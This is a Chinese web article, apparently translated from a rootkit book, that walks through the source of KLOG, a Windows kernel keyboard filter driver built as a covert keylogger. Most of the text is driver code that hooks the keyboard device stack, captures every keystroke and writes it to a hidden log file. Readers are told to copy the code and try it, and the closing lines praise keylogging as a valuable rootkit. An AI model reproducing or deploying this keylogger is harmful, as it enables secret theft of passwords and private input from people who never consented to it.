首页 | 文章中心 | 下载中心 | 本站特供 | 软硬件结合论坛 | 软硬件结合博客 | 
您现在的位置: 中国软硬件结合技术网 >> 文章中心 >> 软硬件结合 >> 串口通讯相关 >> 正文 用户登录 新用户注册
键盘监视例子            【字体:
键盘监视例子
作者:佚名    文章来源:    点击数:    更新时间:2007-2-2

The KLOG Rootkit:A Walk-through

注:由于本书风格是边解释,边写代码,都混一起了,你可以直接忽略文字,把代码拷贝下来试验一下。

我们的叫做KLOG的键盘监视例子,是Clandestiny所写的并在在www.rootkit.com上发表了。下面我们来浏览分析一下她的代码。

ps:一个比较流行的键盘分层过滤驱动可以在www.sysinternals.com上找到。名字为ctrl2cap。KLOG就是在它的基础上完成的。

ROOTKIT.COM
这个程序的介绍能在下面找到:
www.rootkit.com/newsread.php?newsid=187
你可以在Clandestiny在ROOT.COM的个人空间中下载到。

你得明白KLOG这个例子是针对US的键盘布局的。因为每个击键都被作为扫描码发送,而不是你所按的键的实际字母,所以把扫描码转化为字母的步骤是必要的。这种映射依赖键盘的布局。

首先,DriverEntry被调用:

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,

                    IN PUNICODE_STRING RegistryPath )

{

NTSTATUS Status = {0};

然后,一个函数被设置来专门用于为键盘读取请求。KLOG的函数DispatchRead:

// Explicitly fill in the IRP handlers we want to hook.

pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;

驱动对象现在已经设置好了,你还得把它连到键盘设备链中。这个功能由函数HookKeyboard来完成:

// Hook the keyboard now.

HookKeyboard(pDriverObject);

看清楚HookKeyboard这个函数,如下:

NTSTATUS

{

// the filter device object

PDEVICE_OBJECT pKeyboardDeviceObject;

IoCreateDevice被用来创建设备对象。注意这个设备是没有名字的,还有,它是FILE_DEVICE_KEYBOARD类别的。还有,用到了DEVICE_EXTENSION结构的大小,它是个用户自定义的结构。

// Create a keyboard device object.

NTSTATUS status = IoCreateDevice(pDriverObject,

                                   sizeof(DEVICE_EXTENSION),

                                   NULL,// no name

                                   FILE_DEVICE_KEYBOARD,

                                   0,

                                   true,

                                   &pKeyboardDeviceObject);

// Make sure the device was created.

if(!NT_SUCCESS(status))

return status;

为了与那些下面的键盘设备区分开来,跟新设备有关联的标志应该设置成唯一的。你可以通过DeviceTree之类的工具来来获得这方面的信息。在写键盘过滤驱动时,下面这些标志也许会用到:

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags

 | (DO_BUFFERED_IO | DO_POWER_PAGABLE);

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags &

 ~DO_DEVICE_INITIALIZING;

记得当设备对象被创建的时候,用到了DEVICE_EXTENSION结构的大小。这是任意一块能用来存储数据的不被分页的内存(也就是不用从页面文件读取的)。这块数据与该设备对象有练习。KLOG定义的DEVICE_EXTENSION结构如下:

typedef struct _DEVICE_EXTENSION

{

  PDEVICE_OBJECT pKeyboardDevice;

  PETHREAD pThreadObj;

  bool bThreadTerminate;

  HANDLE hLogFile;

  KEY_STATE kState;

  KSEMAPHORE semQueue;

  KSPIN_LOCK lockQueue;

  LIST_ENTRY QueueListHead;

}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

HookKeyboard函数对该结构清零并创建一个指针来初始化某些成员:

RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,

                sizeof(DEVICE_EXTENSION));

// Get the pointer to the device extension.

  PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;

插入层中的该键盘设备名字叫KeyboardClass0。其被转化为UNICODE字符串,并且过滤钩子通过调用IoAttachDevice()来实现。指向设备链中的下一个设备的指针存在pKeyboardDeviceExtension->pKeyboardDevice中。该指针被用来把IRPS传递给设备链中的下一个设备。

 

CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";

  STRING  ntNameString;

  UNICODE_STRING uKeyboardDeviceName;

  RtlInitAnsiString(&ntNameString, ntNameBuffer);

  RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,

                               &ntNameString,

                               TRUE );

  IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,

                 &pKeyboardDeviceExtension->pKeyboardDevice);

  RtlFreeUnicodeString(&uKeyboardDeviceName);

  return STATUS_SUCCESS;

}// end HookKeyboard

假定HookKeyboard一切都好,我们看看KLOG在DriverMain中继续处理其他的东东。下一步就是创建一个工作者线程(也就是后台线程,无用户界面的)用来把击键纪录到log文件中。工作者线程是必要的,因为文件操作在IRP处理函数中是不可能的。当扫描码已经进入IRPs,系统运行在DISPATCH IRQ level上,这时是不允许进行文件操作的。在把击键传送到一个共享缓存时,工作者线程能够访问它们并且把它们写到文件中去。工作者线程运行在一个不同的IRQ level----PASSIVE上,这个level文件操作是允许的。工作者线程的设置在InitThreadKeyLogger函数中实现:

InitThreadKeyLogger(pDriverObject);

InitThreadKeyLogger函数的实现如下:

NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject)

{

一个设备扩展的指针被用来初始化更多的成员。KLOG存储线程的状态在bThreadTerminate中。线程运行时其应该设置为false。

PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject-

>DeviceObject->DeviceExtension;

// Set the worker thread to running state in device extension.

  pKeyboardDeviceExtension->bThreadTerminate = false;

工作者线程通过调用PsCreateSystemThread来创建。可以看到,线程函数名称为ThreadKeyLogger并且设备扩展作为一个参数传递给线程函数。

// Create the worker thread.

HANDLE hThread;

NTSTATUS status = PsCreateSystemThread(&hThread,

                                       (ACCESS_MASK)0,

                                       NULL,

                                       (HANDLE)0,

                                       NULL,

                                       ThreadKeyLogger,

                                       pKeyboardDeviceExtension);

if(!NT_SUCCESS(status))

return status;

线程对象的指针存储在设备扩展中:

// Obtain a pointer to the thread object.

ObReferenceObjectByHandle(hThread,

                   THREAD_ALL_ACCESS,

                   NULL,

                   KernelMode,

                   (PVOID*)&pKeyboardDeviceExtension->pThreadObj,

                   NULL);

// We don't need the thread handle.

ZwClose(hThread);

return status;

}

回到DriverEntry,线程已经准备好了。一个共享链接链表被初始化并且存储在设备扩展中。该链表将包含捕获到的击键。

PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;

InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

一个spinlock被初始化来同步对链接链表的访问。这使得链接链表的线程安全可靠,这是非常重要的。如果KLOG没有使用spinlock,当两个线程试图同时访问该链接链表时,可能会导致蓝屏错误。semaphore(信号量)知道在工作队列中项目的数量。

// Initialize the lock for the linked list queue.

KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);

// Initialize the work queue semaphore.

KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG);

下面的代码打开一个文件,c:\klog.txt,用于记录击键。

// Create the log file.

  IO_STATUS_BLOCK file_status;

  OBJECT_ATTRIBUTES obj_attrib;

  CCHAR  ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";

  STRING ntNameString;

  UNICODE_STRING uFileName;

  RtlInitAnsiString(&ntNameString, ntNameFile);

  RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE);

  InitializeObjectAttributes(&obj_attrib, &uFileName,

                             OBJ_CASE_INSENSITIVE,

                             NULL,

                             NULL);

  Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,

                        GENERIC_WRITE,

                        &obj_attrib,

                        &file_status,

                        NULL,

                        FILE_ATTRIBUTE_NORMAL,

                        0,

                        FILE_OPEN_IF,

                        FILE_SYNCHRONOUS_IO_NONALERT,

                        NULL,

                        0);

  RtlFreeUnicodeString(&uFileName);

  if (Status != STATUS_SUCCESS)

  {

    DbgPrint("Failed to create log file...\n");

    DbgPrint("File Status = %x\n",file_status);

  }

  else

  {

    DbgPrint("Successfully created log file...\n");

    DbgPrint("File Handle = %x\n",

    pKeyboardDeviceExtension->hLogFile);

  }


Finally, a DriverUnload routine is specified for cleanup purposes:


// Set the DriverUnload procedure.

  pDriverObject->DriverUnload = Unload;

  DbgPrint("Set DriverUnload function pointer...\n");

  DbgPrint("Exiting Driver Entry......\n");

  return STATUS_SUCCESS;

}

此时,KLOG驱动挂钩到了设备链中并且开始获取击键IRPs。被调用来读取request的函数为DispatchRead。看一下这个函数:

NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)

{

当一个读请求被提交给键盘控制器时,该函数被调用。此时,IRP中没有任何数据能为我们所用。我们只是在击键被捕获之后才想看到IRP--当IRP在它回到设备链的路上时。

唯一的获知IRP已经完成的方法就是设置一个"完成函数"(a completion routine)。如果我们不设置"完成函数",IRP回到设备链的时候我们的东东就被忽略了。

当我们传递IRP到下一个在设备链中最底层的设时备时,我们需要设置IRP堆栈指针。堆栈在这里是容易让人误解的。每一个设备都简单地拥有一个私有的内存区可以与每一个IRP使用。这些私有的区域被以一定的次序安排。你可以用IoGetCurrentIrpStackLocation 和 IoGetNextIrpStackLocation来获得这些私有区域的指针。一个"目前"指针必须正指向下一个最底层驱动的私有区域在IRP被传递之前。所以,在调用IoCallDriver之前,调用IoCopyCurrentIrpStackLocationToNext:

// Copy parameters down to next level in the stack

// for the driver below us.

IoCopyCurrentIrpStackLocationToNext(pIrp);

Note that the completion routine is named "OnReadCompletion":

// Set the completion callback.

IoSetCompletionRoutine(pIrp,

                    OnReadCompletion,

                    pDeviceObject,

                    TRUE,

                    TRUE,

                    TRUE);

未决的IRPs的数量被记录以使KLOG不会被卸载除非处理完毕。

// Track the # of pending IRPs.

numPendingIrps++;

最后,IoCallDriver被用于传递IRP到在设备链中的下一个最底层的设备。记得指向下一个最底层设备的指针存储在设备扩展结构中的pKeyboardDevice中。

// Pass the IRP on down to \the driver underneath us.

  return IoCallDriver(

((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice, pIrp);

}// end DispatchRead

现在我们可以看到每一个READ IRP,一旦被处理完毕,我们就可以调用OnReadComletion函数。让我们看一下关于此的一些细节:

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,

                          IN PIRP pIrp, IN PVOID Context)

{

// Get the device extension - we'll need to use it later.

  PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject
->DeviceExtension;


该IRP的状态被检查。将其看作返回值,或者错误值。如果该值被设置为STATUS_SUCCESS,那就意味着IRP已经成功完成,并且它应该有一些击键数据。SystemBuffer成员指向KEYBOARD_INPUT_DATA结构数组。IoStatus.Information成员包含有该数组的长度。

// If the request has completed, extract the value of the key.

  if(pIrp->IoStatus.Status == STATUS_SUCCESS)

  {

PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)

pIrp->AssociatedIrp.SystemBuffer;

int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);


KEYBOARD_INPUT_DATA结构的定义如下:

typedef struct _KEYBOARD_INPUT_DATA {

 USHORT UnitId;

 USHORT MakeCode;

 USHORT Flags;

 USHORT Reserved;

 ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

KLOG现在通过所有的数组成员进行循环,从其中获得每一个击键:

for(int i = 0; i < numKeys; i++)

{

     DbgPrint("ScanCode: %x\n", keys[i].MakeCode);


注意,我们接收两个事件:按键,松开键。对于一个简单的键盘监视来说,我们仅仅需要关注其中的一个。在这里,KEY_MAKE是一个重要的标记。

   

  if(keys[i].Flags == KEY_MAKE)

      DbgPrint("%s\n","Key Down");

记得该"完成函数"在DISPATCH_LEVEL IRQL被调用,这意味着文件操作是不允许的。为了绕过这个限制,KLOG通过一个共享链接链表把击键传递给工作者线程。临界区必须用来同步该共享链接链表的访问。内核强行实施一条规则:在某一时刻只有一个线程能够访问某个临界区。(Technical note:A deferred procedure call [DPC] cannot be used here, since a DPC runs at DISPATCH_LEVEL also.)
  

KLOG分配了一些NonPagedPool的内存并把扫描码放到这些内存中。然后又从这些内存中放到链接链表中。Again,由于我们运行在DISPATCH level,内存仅能从NonPagedPool中分配。

 

KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));

// Fill in kData structure with info from IRP.

  kData->KeyData = (char)keys[i].MakeCode;

  kData->KeyFlags = (char)keys[i].Flags;

// Add the scan code to the linked list

// queue so our worker thread

// can write it out to a file.

  DbgPrint("Adding IRP to work queue...");

ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,

                           &kData->ListEntry,

                           &pKeyboardDeviceExtension->lockQueue);

The semaphore is incremented to indicate that some data needs to be processed:

// Increment the semaphore by 1 - no WaitForXXX after this call.

  KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,

                     0,

                     1,

                     FALSE);

   }// end for

  }// end if

// Mark the IRP pending if necessary.

  if(pIrp->PendingReturned)

   IoMarkIrpPending(pIrp);


Since KLOG is finished processing this IRP, the IRP count is decremented:


  numPendingIrps-;

  return pIrp->IoStatus.Status;

}// end OnReadCompletion


At this point, a keystroke has been saved in the linked list and is available to the worker thread. Let's now look at the worker thread routine:


VOID ThreadKeyLogger(IN PVOID pContext)

{

  PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION)pContext;

  PDEVICE_OBJECT pKeyboardDeviceObject =

pKeyboardDeviceExtension->pKeyboardDevice;

  PLIST_ENTRY pListEntry;

  KEY_DATA* kData; // custom data structure used to

                   // hold scancodes in the linked list

现在KLOG进入了一个循环。该代码等待使用KeWaitForSingleObject的信号量(semaphore)的到来。如果信号量增加,循环就继续。

while(true)

  {

   // Wait for data to become available in the queue.

   KeWaitForSingleObject(

               &pKeyboardDeviceExtension->semQueue,

               Executive,

               KernelMode,

               FALSE,

               NULL);

顶端节点从链接链表中安全移除。注意临界区的使用。

 

pListEntry = ExInterlockedRemoveHeadList(

                        &pKeyboardDeviceExtension->QueueListHead,

                        &pKeyboardDeviceExtension->lockQueue);

内核线程不能够为外部所终止,要终止它只能靠它自己。这里KLOG检查一个标志位来决定它是否应该终止工作者线程。在KLOG卸载时才会这么做。

if(pKeyboardDeviceExtension->bThreadTerminate == true)

{

    PsTerminateSystemThread(STATUS_SUCCESS);

}

CONTAINING_RECORD宏必须用来获得指向在pListEntry结构中的数据的指针。

kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);


这里KLOG获得扫描码并将其转化为字符码。这通过一个有用的函数ConvertScanCodeToKeyCode来实现。该函数仅仅适用于US English键盘布局,当然,改一下就可用在其他的键盘布局了。

// Convert the scan code to a key code.

  char keys[3] = {0};

  ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);

// Make sure the key has returned a valid code

// before writing it to the file.

  if(keys != 0)

  {

如果文件句柄是有效的,使用ZwWriteFile来讲字符码写到纪录文件中。

// Write the data out to a file.

   if(pKeyboardDeviceExtension->hLogFile != NULL)

   {

     IO_STATUS_BLOCK io_status;

     NTSTATUS status = ZwWriteFile(

                            pKeyboardDeviceExtension->hLogFile,

                            NULL,

                            NULL,

                           NULL,

                           &io_status,

                           &keys,

                           strlen(keys),

                           NULL,

                           NULL);

     if(status != STATUS_SUCCESS)

        DbgPrint("Writing scan code to file...\n");

     else

        DbgPrint("Scan code '%s' successfully written to file.\n",keys);

     }// end if

   }// end if

  }// end while

  return;

}// end ThreadLogKeyboard


KLOG的基本功能已经完成了。看一下Unload函数。

VOID Unload( IN PDRIVER_OBJECT pDriverObject)

{

// Get the pointer to the device extension.

  PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;

  DbgPrint("Driver Unload Called...\n");

驱动必须unhook该设备通过IoDetachDevice:

// Detach from the device underneath that we're hooked to.

  IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);

  DbgPrint("Keyboard hook detached from device...\n");

这里用了一个timer,KLOG进入一个简短的循环直到所有的IRPs都被处理完。

// Create a timer.

  KTIMER kTimer;

  LARGE_INTEGER timeout;

  timeout.QuadPart = 1000000;// .1 s

  KeInitializeTimer(&kTimer);

如果一个IRP正在等待一个击键,upload就不会完成指导这个键被按下了:

 

while(numPendingIrps > 0)

  {

   // Set the timer.

   KeSetTimer(&kTimer,timeout,NULL);

   KeWaitForSingleObject(

               &kTimer,

               Executive,

               KernelMode,

               false,

               NULL);

  }

现在KLOG说明工作者线程应该结束了:

// Set our key logger worker thread to terminate.

  pKeyboardDeviceExtension->bThreadTerminate = true;

// Wake up the thread if its blocked & WaitForXXX after this call.

  KeReleaseSemaphore(

               &pKeyboardDeviceExtension->semQueue,

               0,

               1,

               TRUE);

KLOG通过线程指针调用KeWaitForSingleObject,等待直到工作者线程被终止:

// Wait until the worker thread terminates.

  DbgPrint("Waiting for key logger thread to terminate...\n");

  KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,

                        Executive,

                        KernelMode,

                        false,NULL);

  DbgPrint("Key logger thread terminated\n");


最后,关闭记录文件。

// Close the log file.

  ZwClose(pKeyboardDeviceExtension->hLogFile);


还有,一些清理工作应该做一下:

// Delete the device.

  IoDeleteDevice(pDriverObject->DeviceObject);

  DbgPrint("Tagged IRPs dead...Terminating...\n");

  return;

}


这样,键盘监控就完成了。这无疑是很重要的一份代码--一个了不起的通向其他分层的ROOTKITS的起点。毫无疑问,就单单键盘监控就已经是我们所应掌握的最有价值的ROOTKITS之一了。击键告诉我们太多了,这还用说吗?

 

 

 



Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=622112

文章录入:xuyongqi    责任编辑:Polylove 
  • 上一篇文章: GPS入门资料

  • 下一篇文章: 没有了
  • 发表评论】【告诉好友】【打印此文】【关闭窗口
          最新热点       最新推荐       相关文章
    没有相关文章
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)